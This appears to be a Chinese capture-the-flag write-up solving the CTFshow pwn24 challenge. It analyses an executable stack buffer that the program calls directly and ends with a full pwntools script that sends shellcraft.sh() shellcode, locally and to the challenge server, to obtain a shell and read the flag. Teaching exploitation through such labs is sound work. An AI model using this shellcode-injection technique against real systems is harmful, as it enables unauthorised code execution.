深入分析CTFshow-PWN入门-pwn24的解法与原理
pwn24

检查文件信息

32位仅部分开启RELRO保护
可以看到存在一个RWX权限的段,即可读可写可执行的内存段
这一内存段使得我们输入进去的东西可以被执行,也是漏洞关键

直接IDA查看main函数发现有一个ctfshow函数,但是没有 c 语言代码

在 x86 架构中eax是一个通用寄存器,在函数调用和系统调用中扮演着重要角色
让我们详细分析在这个 ctfshow 函数中eax的使用情况
lea eax, [ebp+buf] ; 将缓冲区地址加载到 eax
push eax ; 将缓冲区地址压栈作为 read() 的参数
push 0 ; 文件描述符0(stdin标准输入)
call _read ; 将用户输入读进 eax 指向的地址上
……
lea eax, [ebp+buf] ; 再次加载缓冲区地址到 eax
push eax ; 将缓冲区地址压栈作为 puts() 的参数
call _puts ; 将 eax 指向的地址上的内容打印出来
……
lea eax, [ebp+buf] ; 加载缓冲区地址到 eax
call eax ; 跳转到 eax 指向的地址执行代码
三次过程中,eax都临时储存了缓冲区上的一个地址[ebp+buf]
这个地址上存放了我们输入的内容,输入、输出、调用都用eax来指向那一片空间
总而言之,这段汇编代码就分为三个部分:
- 将用户输入读进buf
- 输出buf
- 调用buf
所以,只要输入获取 shell 权限的命令,程序就会执行,从而拿到 shell
这里我们直接构造 shellcode,一段精心构造的机器码(二进制指令)来获取 shell
题目也提示了可以使用 pwntools 库的shellcraft模块来进行攻击
这里的 shellcraft 可以生成各种功能的 shellcode,我们生成一个最简单的
shellcraft.sh()
生成出的 shellcode 是汇编代码,需要汇编成机器码才能运行,asm()是pwntools中一个核心函数,用于将汇编代码转换为机器码(二进制指令)
asm(shellcraft.sh())
这就是我们最终构造完让程序执行的命令
构造我们最终的 exp,与程序放在同一目录下
# -*- coding: utf-8 -*- # 设置编码格式,用来在py2代码使用中文注释
from pwn import * # 导入 pwntools 库
context.log_level = 'debug' # 设置日志级别为调试模式
io = process('./pwn') # 本地连接
#io = remote("pwn.challenge.ctf.show", 28112) # 远程连接
shellcode = asm(shellcraft.sh()) # 生成一个 Shellcode
io.sendline(shellcode) # 将生成的 Shellcode 发送到目标主机
io.interactive() # 与目标主机进行交互
注释掉远程连接,使用本地连接,运行 python exp.py

pwd 命令可以正常运行,成功获得 shell
启动题目环境,在 exp 中远程连接处更改域名和端口(记得Ctrl+S保存新 exp)
注释掉本地连接,使用远程连接,再运行 python exp.py

成功拿到 shell,在catflag 文件,拿到 flag

浙公网安备 33010602011771号